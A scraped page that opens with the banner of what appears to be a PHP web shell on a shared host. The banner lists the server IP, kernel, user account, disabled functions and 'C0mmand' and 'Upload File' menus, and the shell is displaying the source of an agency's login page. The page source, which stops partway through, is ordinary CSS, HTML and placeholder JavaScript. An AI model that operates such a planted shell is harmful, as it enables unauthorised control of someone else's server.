|
Server IP : 217.21.85.138 / Your IP : 216.73.216.103 Web Server : LiteSpeed System : Linux in-mum-web906.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64 User : u915722082 ( 915722082) PHP Version : 7.4.33 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u915722082/.nvm/../public_html/brandessential/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<!DOCTYPE html>
<html lang="en">
<head>
<!-- Metas -->
<meta charset="utf-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta
name="viewport"
content="width=device-width, initial-scale=1, maximum-scale=1"
/>
<meta
name="keywords"
content=""
/>
<meta
name="description"
content=""
/>
<meta name="author" content="" />
<!-- Title -->
<title>BRAND ESSENTIALS</title>
<!-- Favicon -->
<!-- <link rel="shortcut icon" href="assets/imgs/favicon.ico" /> -->
<!-- Google Fonts -->
<link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700&display=swap" rel="stylesheet">
<link
href="https://fonts.googleapis.com/css2?family=Six+Caps&display=swap"
rel="stylesheet"
/>
<!-- Core Style Css -->
<link rel="stylesheet" href="./common/css/common_style.css" />
<link rel="stylesheet" href="assets/css/home8-style.css" />
<link rel="stylesheet" href="assets/css/responsive.css" />
<style>
* {
margin: 0;
padding: 0;
box-sizing: border-box;
}
body {
background:#000;
min-height: 100vh;
display: flex;
align-items: center;
justify-content: center;
}
.container {
display: flex;
}
.row {
display: flex;
flex-direction: row;
}
.col {
flex-direction: column;
}
.g50 {
gap: 50px;
}
.g35 {
gap: 35px;
}
.g25 {
gap: 25px;
}
.g15 {
gap: 15px;
}
.g10 {
gap: 10px;
}
.g5 {
gap: 5px;
}
.w100p {
width: 100%;
}
.align.center {
align-items: center;
}
.align.start {
align-items: flex-start;
}
.justify.center {
justify-content: center;
}
.justify.sbetween {
justify-content: space-between;
}
.nowrap {
flex-wrap: nowrap;
}
.fullscreen {
/* min-height: 100vh; */
width: 100%;
}
.p20 {
padding: 20px;
}
.animate.fast {
transition: all 0.2s ease-out;
}
.login-wrapper.login-center {
/* align-items: center !important; */
padding-top: 30px;
justify-content: center !important;
}
.data_section {
bottom: 0;
padding: 0 120px;
position: relative;
top: 0;
/* background: white; */
border-radius: 24px;
padding: 60px 40px;
max-width: 580px;
width: 100%;
}
.data_section > .container {
max-width: 480px;
}
.text h2 {
font-size: 32px;
font-weight: 700;
color: #FFF;
margin-bottom: 8px;
}
.text p {
font-size: 16px;
color: #666;
line-height: 1.5;
}
button {
align-items: center;
border: none;
color: #fff;
cursor: pointer;
display: flex;
flex-direction: row;
font-size: 14px;
gap: 10px;
justify-content: center;
letter-spacing: 0.01em;
line-height: 18px;
outline: none;
user-select: none;
border-radius: 10px;
transition: all 0.2s ease-out;
}
button.login {
border-radius: 10px;
background: none !important;
height: 48px;
padding: 10px 20px 10px 15px;
border: 1px solid #e0e0e0;
color: #fff;
font-weight: 500;
}
button.login:hover {
background: #f5f5f5;
transform: translateY(-1px);
}
button.login > img {
height: 16px;
order: 0;
width: 16px;
}
.inputwrapper.label {
border: none;
height: 76px;
position: relative;
width: 100%;
}
.inputwrapper.label > label.top {
color: #afafaf;
height: 18px;
left: 0;
position: absolute;
right: 0;
top: 0;
font-size: 14px;
font-weight: 500;
}
.inputwrapper.label input {
/* border: 1px solid rgba(255, 255, 255, 0.05); */
border-radius: 10px;
top: 28px;
width: 100%;
position: absolute;
height: 48px;
padding: 0 15px;
font-size: 16px;
background: none;
border: 1px solid #232323;
color: #fff;
}
.inputwrapper.label input:focus {
outline: none;
border-color: #0d45ff;
box-shadow: 0 0 0 3px rgba(62, 67, 251, 0.1);
}
.inputwrapper > .right-section {
height: 20px;
justify-content: flex-end;
right: 15px;
width: 100px;
pointer-events: none;
position: absolute;
top: 50%;
transform: translateY(-50%);
}
button.filled.blue {
background: rgba(255, 255, 255, 0.10);
backdrop-filter: blur(4px);
height: 48px;
font-weight: 600;
font-size: 16px;
}
button.filled.blue:hover {
background: #0d45ff;
transform: translateY(-1px);
}
.checkbox {
position: relative;
display: inline-block;
cursor: pointer;
}
.checkbox input {
opacity: 0;
position: absolute;
width: 16px;
height: 16px;
}
.checkmark {
position: absolute;
top: 0;
left: 0;
height: 16px;
width: 16px;
background-color: #fff;
border: 2px solid #ddd;
border-radius: 3px;
transition: all 0.2s ease;
}
.checkbox input:checked ~ .checkmark {
background-color: #0d45ff;
border-color: #0d45ff;
}
.checkbox input:checked ~ .checkmark:after {
content: "";
position: absolute;
display: block;
left: 4px;
top: 1px;
width: 4px;
height: 8px;
border: solid white;
border-width: 0 2px 2px 0;
transform: rotate(45deg);
}
.checkbox-c label {
font-size: 14px;
color: #666;
padding-left: 5px;
/* margin-left: 8px; */
}
.ghost {
color: #666;
font-size: 14px;
}
.g10 a {
color: #0d45ff;
text-decoration: none;
font-weight: 500;
font-size: 14px;
}
.g10 a:hover {
text-decoration: underline;
}
.graphic {
/* background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
background-size: cover;
border: 1px solid rgba(255, 255, 255, 0.05);
border-radius: 24px;
height: calc(100vh - 40px);
max-height: 780px;
max-width: 630px;
position: relative;
width: 100%;
display: flex;
flex-direction: column;
justify-content: center;
align-items: center;
color: white;
text-align: center;
padding: 40px; */
background: url('./assets/imgs/BE-07.jpg');
background-size: cover;
border: 1px solid hsla(0, 0%, 100%, .05);
border-radius: 24px;
height: calc(100vh - 40px);
max-height: 580px;
max-width: 530px;
position: relative;
width: 100%;
}
.graphic > svg[alt="logo"] {
height: 44px;
left: 40px;
position: absolute;
top: 40px;
width: 200px;
}
.graphic > .container.text {
position: absolute;
left: 40px;
top: 130px;
width: 480px;
}
.graphic .text h3 {
font-size: 28px;
font-weight: 700;
margin-bottom: 16px;
color: white;
}
.graphic .text p {
font-size: 16px;
color: rgba(255, 255, 255, 0.8);
line-height: 1.6;
}
.graphic > label {
bottom: 35px;
left: 42px;
position: absolute;
font-size: 12px;
color: rgba(255, 255, 255, 0.6);
}
@media (max-width: 768px) {
.login-wrapper {
flex-direction: column;
gap: 20px;
}
.data_section {
padding: 40px 20px;
}
.graphic {
height: 300px;
max-height: 300px;
}
.graphic > .container.text {
position: static;
width: 100%;
}
}
.body-container {
position: relative;
width: 100%;
}
.body-lines {
position: fixed; /* Fixed position to stay on screen */
top: 0;
left: 0;
width: 100%;
height: 100%;
z-index: -1; /* Above background but below content */
pointer-events: none; /* Don't interfere with clicks */
}
.body-container .body-line {
position: absolute;
top: 0;
bottom: 0;
width: 0;
border-left: solid 1px;
left: 50%;
right: initial;
border-color: #232323 !important;
z-index: 1;
}
.body-container .body-line.body-line-l1 {
margin-left: -584px;
}
.body-container .body-line.body-line-l2 {
margin-left: -170px;
}
.body-container .body-line.body-line-r1 {
margin-left: 250px;
}
.body-container .body-line.body-line-r2 {
margin-left: 640px;
}
.signup-section .container{
margin: 0 auto !important;
}
.checkbox-c{
display: flex;
}
</style>
</head>
<body>
<div class="body-container">
<div class="body-lines">
<div class="body-line body-line-l1"></div>
<div class="body-line body-line-l2"></div>
<div class="body-line body-line-r1"></div>
<div class="body-line body-line-r2"></div>
</div>
<nav class="top-nav">
<div>
<a href="index.html" class="logo">BE</a>
</div>
<div class="desktop-only">
<a href="#">Work</a>
</div>
<div class="desktop-only">
<a href="#">Services</a>
</div>
<div class="desktop-only" id="aboutMenu">
<a href="#">About</a>
<!-- Hover Menu -->
<!-- <div class="menu">
<div class="menu-grid">
<div class="d-flex flex-column g-col-2">
<div class="menu-link">
<a href="#">Work</a>
</div>
<div class="menu-link">
<a href="#">About</a>
</div>
<div class="menu-link">
<a href="#">Thoughts</a>
</div>
<div class="menu-link">
<a href="#">Contact</a>
</div>
<div class="menu-item">
<a href="#" >
<svg class="clutch-logo" xmlns="http://www.w3.org/2000/svg" width="156.135" height="15.816" viewBox="0 0 156.135 15.816">
<g transform="translate(0 -1.386)">
<path d="M82.244,11.465a4.119,4.119,0,0,1-1.835-.38,2.814,2.814,0,0,1-1.18-1.075A3.058,3.058,0,0,1,78.81,8.4V8.266h1.547v.118a1.694,1.694,0,0,0,.472,1.232A2.228,2.228,0,0,0,83.621,9.6a1.772,1.772,0,0,0,.5-1.311V8.174a1.668,1.668,0,0,0-.5-1.272,1.694,1.694,0,0,0-1.232-.472,1.772,1.772,0,0,0-.695.118,1.321,1.321,0,0,0-.433.3,1.691,1.691,0,0,0-.275.354H79.1v-5.1h6.2V3.495h-4.68V5.959h.223a1.823,1.823,0,0,1,.367-.367,1.946,1.946,0,0,1,.6-.3,2.783,2.783,0,0,1,.9-.131,3.04,3.04,0,0,1,1.468.354,2.565,2.565,0,0,1,1.062,1.009,3.181,3.181,0,0,1,.393,1.639v.144a3.287,3.287,0,0,1-.406,1.665,2.787,2.787,0,0,1-1.167,1.1A3.922,3.922,0,0,1,82.244,11.465Z" fill="#fff"/>
<path d="M86.513,10.146a1.164,1.164,0,0,1-.839-.328,1.136,1.136,0,0,1-.328-.839,1.12,1.12,0,0,1,.328-.826,1.164,1.164,0,0,1,.839-.328,1.119,1.119,0,0,1,.826.328,1.154,1.154,0,0,1-.826,1.992Z" fill="#fff"/>
<path d="M91.79,11.5a3.635,3.635,0,0,1-2.582-.9,3.553,3.553,0,0,1-.97-2.727V5.587a3.543,3.543,0,0,1,.97-2.7,4.048,4.048,0,0,1,5.165,0,3.543,3.543,0,0,1,.97,2.7V7.868a3.554,3.554,0,0,1-.97,2.727A3.606,3.606,0,0,1,91.79,11.5Zm0-1.363a1.877,1.877,0,0,0,1.521-.577,2.432,2.432,0,0,0,.5-1.639v-2.4a2.286,2.286,0,0,0-.537-1.639,1.949,1.949,0,0,0-1.481-.564A1.917,1.917,0,0,0,90.3,3.9a2.331,2.331,0,0,0-.524,1.625v2.4a2.423,2.423,0,0,0,.5,1.652A1.95,1.95,0,0,0,91.79,10.136Z" fill="#fff"/>
<path d="M101.414,1.566a.624.624,0,0,1,1.188,0l.879,2.7a.622.622,0,0,0,.593.431h2.841a.624.624,0,0,1,.367,1.129l-2.3,1.67a.623.623,0,0,0-.226.7l.877,2.7a.624.624,0,0,1-.96.7l-2.3-1.67a.624.624,0,0,0-.733,0l-2.3,1.67a.624.624,0,0,1-.961-.7l.878-2.7a.624.624,0,0,0-.227-.7l-2.3-1.67A.624.624,0,0,1,97.1,4.7h2.841a.624.624,0,0,0,.594-.431Z" fill="#fff"/>
<path d="M113.91,1.641a.624.624,0,0,1,1.191,0l.81,2.6a.624.624,0,0,0,.6.439h2.675a.624.624,0,0,1,.378,1.121l-2.211,1.68a.622.622,0,0,0-.218.682l.833,2.681a.624.624,0,0,1-.973.682l-2.107-1.6a.625.625,0,0,0-.756,0l-2.105,1.6a.625.625,0,0,1-.975-.682l.834-2.681a.625.625,0,0,0-.219-.682L109.451,5.8a.624.624,0,0,1,.378-1.121H112.5a.624.624,0,0,0,.6-.439Z" fill="#fff"/>
<path d="M126.5,1.566a.624.624,0,0,1,1.188,0l.877,2.7a.625.625,0,0,0,.594.431h2.84a.624.624,0,0,1,.368,1.129l-2.3,1.67a.623.623,0,0,0-.226.7l.877,2.7a.624.624,0,0,1-.961.7l-2.3-1.67a.626.626,0,0,0-.735,0l-2.3,1.67a.624.624,0,0,1-.961-.7l.877-2.7a.623.623,0,0,0-.226-.7l-2.3-1.67a.624.624,0,0,1,.367-1.129h2.84a.625.625,0,0,0,.594-.431Z" fill="#fff"/>
<path d="M139.289,1.566a.624.624,0,0,1,1.188,0l.877,2.7a.625.625,0,0,0,.594.431h2.84a.624.624,0,0,1,.367,1.129l-2.3,1.67a.623.623,0,0,0-.226.7l.877,2.7a.624.624,0,0,1-.961.7l-2.3-1.67a.626.626,0,0,0-.735,0l-2.3,1.67a.624.624,0,0,1-.961-.7l.877-2.7a.624.624,0,0,0-.226-.7l-2.3-1.67a.624.624,0,0,1,.368-1.129h2.84a.625.625,0,0,0,.594-.431Z" fill="#fff"/>
<path d="M152.083,1.566a.624.624,0,0,1,1.187,0l.877,2.7a.625.625,0,0,0,.594.431h2.84a.624.624,0,0,1,.367,1.129l-2.3,1.67a.626.626,0,0,0-.228.7l.879,2.7a.624.624,0,0,1-.961.7l-2.3-1.67a.626.626,0,0,0-.735,0l-2.3,1.67a.624.624,0,0,1-.961-.7l.877-2.7a.623.623,0,0,0-.226-.7l-2.3-1.67a.624.624,0,0,1,.368-1.129h2.84a.625.625,0,0,0,.594-.431Z" fill="#fff"/>
<path d="M14.492,1.386h2.536V17.2H14.492ZM25.906,12.157a2.455,2.455,0,0,1-2.647,2.613c-1.516,0-1.792-1.416-1.792-2.27V6.448H18.931v6.041a4.922,4.922,0,0,0,1.3,3.562,4.24,4.24,0,0,0,3.011,1.128,4.361,4.361,0,0,0,2.666-.839V17.2h2.536V6.448H25.906Zm7.609-9.506H30.979v3.8h-1.9V8.978h1.9V17.2h2.536V8.978h1.9V6.448h-1.9ZM43.4,13.987a3.084,3.084,0,0,1-2.082.77,2.969,2.969,0,0,1-3.06-3.067,2.9,2.9,0,0,1,3.06-3.013,3.162,3.162,0,0,1,2.1.757l.385.33,1.71-1.706-.428-.385a5.6,5.6,0,0,0-3.763-1.415,5.27,5.27,0,0,0-5.473,5.419,5.366,5.366,0,0,0,5.473,5.487,5.544,5.544,0,0,0,3.791-1.43l.413-.385-1.737-1.7Zm11.162-6.6a3.954,3.954,0,0,0-5.2-.289V1.386H46.831V17.2h2.536V11.278c0-2.421,1.723-2.613,2.33-2.613,1.516,0,1.474,1.416,1.474,2.269V17.2h2.536V10.948A4.855,4.855,0,0,0,54.567,7.385Z" fill="#fff"/>
<path d="M41.242,9.888a1.832,1.832,0,1,1-1.3.536A1.836,1.836,0,0,1,41.242,9.888Z" fill="#f61313"/>
<path d="M10.945,13.233a5.07,5.07,0,0,1-3.653,1.527,4.914,4.914,0,0,1-4.88-5.254c0-3.053,2.054-5.268,4.88-5.268a5.128,5.128,0,0,1,3.64,1.513l.385.385,1.7-1.692-.372-.385A7.389,7.389,0,0,0,7.292,1.831C3.129,1.831,0,5.132,0,9.519A7.32,7.32,0,0,0,7.292,17.18a7.411,7.411,0,0,0,5.362-2.241l.372-.385-1.682-1.719Z" fill="#fff"/>
</g>
</svg>
</a>
<div>
<a href="#" class="btn ghost xsm">
<strong>
<span data-hover="Let's talk">Let's talk</span>
</strong>
</a>
</div>
</div>
<div class="menu-item-last">
<div class="project-image-container" style="aspect-ratio:16/9; height: 200px;">
<div class="video-overlay">
<div class="play-info">
<svg class="play-icon" viewBox="0 0 16 18" fill="none">
<path d="M15.1865 7.89536C15.8532 8.28026 15.8532 9.24251 15.1865 9.62741L1.91737 17.2884C1.2507 17.6733 0.417371 17.1921 0.417371 16.4223L0.417372 1.10043C0.417372 0.330633 1.2507 -0.15049 1.91737 0.23441L15.1865 7.89536Z" fill="white"/>
</svg>
<span>Show reel 2024</span>
</div>
</div>
<video class="showreel-video" muted loop>
<source src="https://nika.agency/wp-content/uploads/2025/01/Showreel-2024.mp4" type="video/mp4">
Your browser does not support the video tag.
</video>
</div>
</div>
</div>
</div>
</div> -->
</div>
<div class="desktop-only">
<a href="#">Testimonials</a>
</div>
<div class="desktop-only">
<a href="#">Connect</a>
</div>
<!-- Mobile toggler button -->
<button class="mobile-toggler" id="mobileToggler">
<span class="toggler-icon"></span>
<span class="toggler-icon"></span>
<span class="toggler-icon"></span>
</button>
</nav>
<!-- <script>
// About menu click/hover functionality
const aboutMenu = document.getElementById('aboutMenu');
const aboutLink = document.getElementById('aboutLink');
if (aboutMenu && aboutLink) {
// Click functionality
aboutLink.addEventListener('click', (e) => {
e.preventDefault(); // Prevent default link behavior
aboutMenu.classList.toggle('menu-active');
});
// Close menu when clicking outside
document.addEventListener('click', (e) => {
if (!aboutMenu.contains(e.target)) {
aboutMenu.classList.remove('menu-active');
}
});
// Keep hover functionality intact
aboutMenu.addEventListener('mouseenter', () => {
aboutMenu.classList.add('menu-active');
});
aboutMenu.addEventListener('mouseleave', () => {
aboutMenu.classList.remove('menu-active');
});
}
// Video hover functionality
const menuItemLast = document.querySelector('.menu-item-last');
const showreelVideo = document.querySelector('.showreel-video');
if (menuItemLast && showreelVideo) {
menuItemLast.addEventListener('mouseenter', () => {
showreelVideo.play().catch(e => {
console.log('Video play failed:', e);
});
});
menuItemLast.addEventListener('mouseleave', () => {
showreelVideo.pause();
showreelVideo.currentTime = 0;
});
}
// Mobile menu toggle (basic implementation)
const mobileToggler = document.getElementById('mobileToggler');
if (mobileToggler) {
mobileToggler.addEventListener('click', () => {
// Add mobile menu functionality here
console.log('Mobile menu toggled');
});
}
</script> -->
<!-- Mobile sidebar -->
<div class="sidebar" id="sidebar">
<button class="sidebar-close" id="sidebarClose">×</button>
<div class="sidebar-links">
<div>
<a href="#">Work</a>
</div>
<div>
<a href="#">Services</a>
</div>
<div>
<a href="#">About</a>
</div>
<div>
<a href="#">Testimonials</a>
</div>
<div>
<a href="#">Connect</a>
</div>
</div>
</div>
<div class="signup-section pt-150px pb-150px">
<div class="Timeline_headings">
<h2 class="text-center" style="color: #fff;">Login</h2>
</div>
<div class="container row g50 fullscreen animate fast login-wrapper login-center">
<div class="graphic">
<div class="container col g15 text">
<h3>Start your experience with Wheel Widget and boost your sales</h3>
<p>You are one step away from permanently changing the way your website works today</p>
</div>
<label>Art by Midjourney</label>
</div>
<div class=" col g50 align start justify center data_section">
<div class="container col g35 w100p align start justify center">
<div class="container col g15 w100p text">
<h2>Welcome back!</h2>
<p>Enter your username and password to log in to your admin panel</p>
</div>
<!-- <div class="container row g5 w100p">
<button class="login">
<img src="data:image/svg+xml,%3csvg%20width='16'%20height='16'%20viewBox='0%200%2016%2016'%20fill='none'%20xmlns='http://www.w3.org/2000/svg'%3e%3cg%20clip-path='url(%23clip0_168_18765)'%3e%3cpath%20d='M15.04%208.16667C15.04%207.64667%2014.9933%207.14667%2014.9067%206.66667H8V9.50334H11.9467C11.7767%2010.42%2011.26%2011.1967%2010.4833%2011.7167V13.5567H12.8533C14.24%2012.28%2015.04%2010.4%2015.04%208.16667Z'%20fill='%234285F4'/%3e%3cpath%20d='M8.00011%2015.3333C9.98011%2015.3333%2011.6401%2014.6767%2012.8534%2013.5567L10.4834%2011.7167C9.82678%2012.1567%208.98678%2012.4167%208.00011%2012.4167C6.09011%2012.4167%204.47344%2011.1267%203.89678%209.39334H1.44678V11.2933C2.65344%2013.69%205.13344%2015.3333%208.00011%2015.3333Z'%20fill='%2334A853'/%3e%3cpath%20d='M3.89675%209.39333C3.75008%208.95333%203.66675%208.48333%203.66675%208C3.66675%207.51667%203.75008%207.04666%203.89675%206.60667V4.70667H1.44675C0.950081%205.69667%200.666748%206.81667%200.666748%208C0.666748%209.18333%200.950081%2010.3033%201.44675%2011.2933L3.89675%209.39333Z'%20fill='%23FBBC05'/%3e%3cpath%20d='M8.00011%203.58334C9.07678%203.58334%2010.0434%203.95334%2010.8034%204.68001L12.9068%202.57667C11.6368%201.39334%209.97678%200.666672%208.00011%200.666672C5.13344%200.666672%202.65344%202.31001%201.44678%204.70667L3.89678%206.60667C4.47344%204.87334%206.09011%203.58334%208.00011%203.58334Z'%20fill='%23EA4335'/%3e%3c/g%3e%3cdefs%3e%3cclipPath%20id='clip0_168_18765'%3e%3crect%20width='16'%20height='16'%20fill='white'/%3e%3c/clipPath%3e%3c/defs%3e%3c/svg%3e">
Log in with Google
</button>
</div> -->
<div class="container col g25 w100p inputs">
<div class="container inputwrapper label w100p">
<label class="top">Email</label>
<input value="" placeholder="example@example.com" name="email" type="email">
<div class="container row g10 right-section"></div>
</div>
<div class="container inputwrapper label">
<label class="top">Password</label>
<input value="" name="password" autocomplete="current-password" type="password" placeholder="Your password">
<div class="container row g10 right-section"></div>
</div>
</div>
<div class=" row w100p align center">
<div class=" checkbox-c nowrap w100p">
<div class=" row ">
<label class="checkbox">
<input name="cb" type="checkbox">
<span class="checkmark"></span>
</label>
<label for="cb">Remember me</label>
</div>
</div>
</div>
<button class="filled blue w100p animate fast">
Log In
</button>
<div class="container row w100p justify sbetween">
<div class="container g10 align center">
<label class="ghost">Don't have account yet?</label>
<a href="#">Sign up</a>
</div>
<!-- <a href="/app/reset">Forgot your password?</a> -->
</div>
</div>
</div>
</div>
</div>
<div class="footer" data-border="true">
<div class="top-section">
<div class="logo1">
<a href="index.html">BRAND <br>ESSENTIALS</a>
</div>
<div class="nav-section">
<a href="#">Work</a><br>
<a href="#">Services</a><br>
<a href="#">About</a><br>
<a href="#">Testimonials</a><br>
<a href="#" rel="noopener">Connect</a><br>
</div>
<div class="email-section">
<a href="mailto:info@brandessentials.in" rel="noopener">info@brandessentials.in</a>
</div>
</div>
<div class="bottom-section">
<div class="copyright">
©BE 2025
</div>
<div class="social">
<!-- <a href="#"rel="noopener">LinkedIn</a>,
<a href="#" rel="noopener">X,</a> -->
<a href="#" rel="noopener">Instagram</a>
<!-- <a href="#"rel="noopener">YouTube</a> -->
</div>
<div class="empty">
</div>
</div>
<!-- Wave animation section -->
<div class="wave-container1">
<!-- Base wave image (optional SVG background) -->
<img src="data:image/svg+xml,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20width%3D%221729%22%20height%3D%221802%22%20fill%3D%22none%22%3E%3Cmask%20id%3D%22a%22%20width%3D%221729%22%20height%3D%221802%22%20x%3D%220%22%20y%3D%220%22%20maskUnits%3D%22userSpaceOnUse%22%20style%3D%22mask-type%3Aalpha%22%3E%3Cpath%20fill%3D%22%23frfrf%22%20d%3D%22M0%200h1728v1800.83H0z%22%20style%3D%22fill%3A%23d9d9d9%3Bfill%3Acolor(display-p3%20.851%20.851%20.851)%3Bfill-opacity%3A1%22%20transform%3D%22matrix(-1%200%200%201%201728.71%20.863)%22%2F%3E%3C%2Fmask%3E%3Cg%20mask%3D%22url(%23a)%22%3E%3Cg%20filter%3D%22url(%23b)%22%3E%3Cpath%20fill%3D%22%23FF7300%22%20d%3D%22M243.146%20442.489C56.421%20296.6-247.47%20322.512-376.076%20353.704l179.126%20923.906H851.931l944.119%2033.15%20265.09-728.258c5.7-7.723-39.35-65.812-265.09-236.39-282.19-213.223-705.48-75.755-838.158%2097.211-132.674%20172.966-481.339%20181.526-714.746-.834Z%22%20style%3D%22fill%3A%23ff7300%3Bfill%3A%20color(display-p3%200%200.23%201)%3Bfill-opacity%3A1%22%2F%3E%3C%2Fg%3E%3Cg%20filter%3D%22url(%23c)%22%3E%3Cpath%20stroke%3D%22red%22%20stroke-width%3D%2271%22%20d%3D%22M2061.14%20582.5c5.7-7.723-39.35-65.812-265.1-236.39-282.18-213.223-705.47-75.755-838.149%2097.211-132.674%20172.966-481.339%20181.526-714.745-.834C56.42%20296.599-247.472%20322.51-376.077%20353.701%22%20style%3D%22stroke%3Ared%3Bstroke%3A%20color(display-p3%200%200.36%201)%3Bstroke-opacity%3A1%22%2F%3E%3C%2Fg%3E%3Cg%20filter%3D%22url(%23d)%22%20opacity%3D%22.5%22%3E%3Cpath%20stroke%3D%22red%22%20stroke-width%3D%2271%22%20d%3D%22M2061.13%20531.531c5.7-7.722-39.35-65.812-265.09-236.39-282.18-213.223-705.48-75.755-838.156%2097.211-229.419%20299.09-481.34%20181.526-714.746-.834C56.412%20245.63-247.479%20271.541-376.085%20302.732%22%20style%3D%22stroke%3Ared%3Bstroke%3A%20color(display-p3%200%201%200.94)%3Bstroke-opacity%3A1%22%2F%3E%3C%2Fg%3E%3Cg%20filter%3D%22url(%23e)%22%3E%3Cpath%20fill%3D%22%23fff%22%20d%3D%22M-478.381%201420.69c0%202117.34%20655.442%201664.27%201382.846%201664.27%20727.405%200%201251.315%20143.55%201251.315-1664.27%200-267.57-589.68-484.482-1317.08-484.482-727.404%200-1317.081%20216.912-1317.081%20484.482Z%22%20style%3D%22fill%3A%23fff%3Bfill-opacity%3A1%22%2F%3E%3C%2Fg%3E%3C%2Fg%3E%3Cdefs%3E%3Cfilter%20id%3D%22b%22%20width%3D%222845.68%22%20height%3D%221481.29%22%20x%3D%22-580.078%22%20y%3D%2233.467%22%20color-interpolation-filters%3D%22sRGB%22%20filterUnits%3D%22userSpaceOnUse%22%3E%3CfeFlood%20flood-opacity%3D%220%22%20result%3D%22BackgroundImageFix%22%2F%3E%3CfeBlend%20in%3D%22SourceGraphic%22%20in2%3D%22BackgroundImageFix%22%20result%3D%22shape%22%2F%3E%3CfeGaussianBlur%20result%3D%22effect1_foregroundBlur_760_56865%22%20stdDeviation%3D%22102%22%2F%3E%3C%2Ffilter%3E%3Cfilter%20id%3D%22c%22%20width%3D%222889.54%22%20height%3D%22817.69%22%20x%3D%22-588.445%22%20y%3D%22-2.023%22%20color-interpolation-filters%3D%22sRGB%22%20filterUnits%3D%22userSpaceOnUse%22%3E%3CfeFlood%20flood-opacity%3D%220%22%20result%3D%22BackgroundImageFix%22%2F%3E%3CfeBlend%20in%3D%22SourceGraphic%22%20in2%3D%22BackgroundImageFix%22%20result%3D%22shape%22%2F%3E%3CfeGaussianBlur%20result%3D%22effect1_foregroundBlur_760_56865%22%20stdDeviation%3D%22102%22%2F%3E%3C%2Ffilter%3E%3Cfilter%20id%3D%22d%22%20width%3D%222889.54%22%20height%3D%22867.63%22%20x%3D%22-588.453%22%20y%3D%22-52.992%22%20color-interpolation-filters%3D%22sRGB%22%20filterUnits%3D%22userSpaceOnUse%22%3E%3CfeFlood%20flood-opacity%3D%220%22%20result%3D%22BackgroundImageFix%22%2F%3E%3CfeBlend%20in%3D%22SourceGraphic%22%20in2%3D%22BackgroundImageFix%22%20result%3D%22shape%22%2F%3E%3CfeGaussianBlur%20result%3D%22effect1_foregroundBlur_760_56865%22%20stdDeviation%3D%22102%22%2F%3E%3C%2Ffilter%3E%3Cfilter%20id%3D%22e%22%20width%3D%223202.16%22%20height%3D%222757.44%22%20x%3D%22-762.383%22%20y%3D%22652.208%22%20color-interpolation-filters%3D%22sRGB%22%20filterUnits%3D%22userSpaceOnUse%22%3E%3CfeFlood%20flood-opacity%3D%220%22%20result%3D%22BackgroundImageFix%22%2F%3E%3CfeBlend%20in%3D%22SourceGraphic%22%20in2%3D%22BackgroundImageFix%22%20result%3D%22shape%22%2F%3E%3CfeGaussianBlur%20result%3D%22effect1_foregroundBlur_760_56865%22%20stdDeviation%3D%22142%22%2F%3E%3C%2Ffilter%3E%3C%2Fdefs%3E%3C%2Fsvg%3E"
alt="Wave design"
class="wave-base">
<!-- Canvas for wave animation -->
<canvas id="waveCanvas1" resize></canvas>
<div id="gui_container1"></div>
</div>
</div>
</div>
<script>
// Add form validation and interactivity
document.addEventListener('DOMContentLoaded', function() {
const loginForm = document.querySelector('.data_section');
const emailInput = document.querySelector('input[name="email"]');
const passwordInput = document.querySelector('input[name="password"]');
const loginButton = document.querySelector('button.filled.blue');
const googleLoginButton = document.querySelector('button.login');
// Add focus effects
const inputs = [emailInput, passwordInput];
inputs.forEach(input => {
input.addEventListener('focus', function() {
this.parentElement.style.transform = 'translateY(-2px)';
});
input.addEventListener('blur', function() {
this.parentElement.style.transform = 'translateY(0)';
});
});
// Add click handlers
loginButton.addEventListener('click', function(e) {
e.preventDefault();
// Basic validation
if (!emailInput.value || !passwordInput.value) {
alert('Please fill in all fields');
return;
}
// Simulate login
this.textContent = 'Logging in...';
this.disabled = true;
setTimeout(() => {
this.textContent = 'Log In';
this.disabled = false;
alert('Login functionality would be implemented here');
}, 2000);
});
googleLoginButton.addEventListener('click', function(e) {
e.preventDefault();
alert('Google login functionality would be implemented here');
});
});
</script>
<script>
class WaveAnimation {
constructor(canvasId) {
this.canvas = document.getElementById(canvasId);
this.ctx = this.canvas.getContext('2d');
this.ratio = window.devicePixelRatio || 1;
// Keep desktop wave properties for all devices
this.waveTotal = 6;
this.baseWaveHeight = 120;
this.maxWaveHeight = 300;
this.waveSpeed = 0.20;
// Frequency properties
this.frequencyNodes = [];
this.frequencySpeed = 0.02;
this.frequencyScale = 1;
this.time = 0;
// Initialize nodes
this.nodes = this.setWaveNodes();
this.initFrequencyNodes();
// Initialize canvas
this.init();
// Start animation
this.animate();
// Handle resize with debouncing for better performance
this.resizeTimeout = null;
window.addEventListener('resize', () => {
clearTimeout(this.resizeTimeout);
this.resizeTimeout = setTimeout(() => {
this.resizeCanvasToDisplaySize();
}, 100);
});
// Handle orientation change on mobile
window.addEventListener('orientationchange', () => {
setTimeout(() => {
this.resizeCanvasToDisplaySize();
}, 100);
});
}
setWaveNodes() {
const offSetNodes = this.waveTotal + 2;
const canvasWidth = this.canvas ? this.canvas.getBoundingClientRect().width : window.innerWidth;
return [...Array(offSetNodes)].map((_, index) => [
((index - 1) * canvasWidth) / this.waveTotal,
0,
Math.random() * this.baseWaveHeight,
this.waveSpeed
]);
}
initFrequencyNodes() {
// Create frequency modulation nodes for each wave point
this.frequencyNodes = this.nodes.map((_, index) => ({
amplitude: Math.random() * 0.8 + 0.2, // Random amplitude between 0.2 and 1
frequency: Math.random() * 0.03 + 0.01, // Random frequency
phase: Math.random() * Math.PI * 2, // Random phase offset
heightMultiplier: Math.random() * 0.7 + 0.3, // Height variation
speedMultiplier: Math.random() * 0.5 + 0.5 // Speed variation
}));
}
init() {
this.sizeCanvas();
}
sizeCanvas() {
const rect = this.canvas.getBoundingClientRect();
const width = rect.width;
const height = rect.height;
// Use appropriate pixel ratio for better mobile performance
const pixelRatio = Math.min(this.ratio, window.innerWidth <= 768 ? 1.5 : 2);
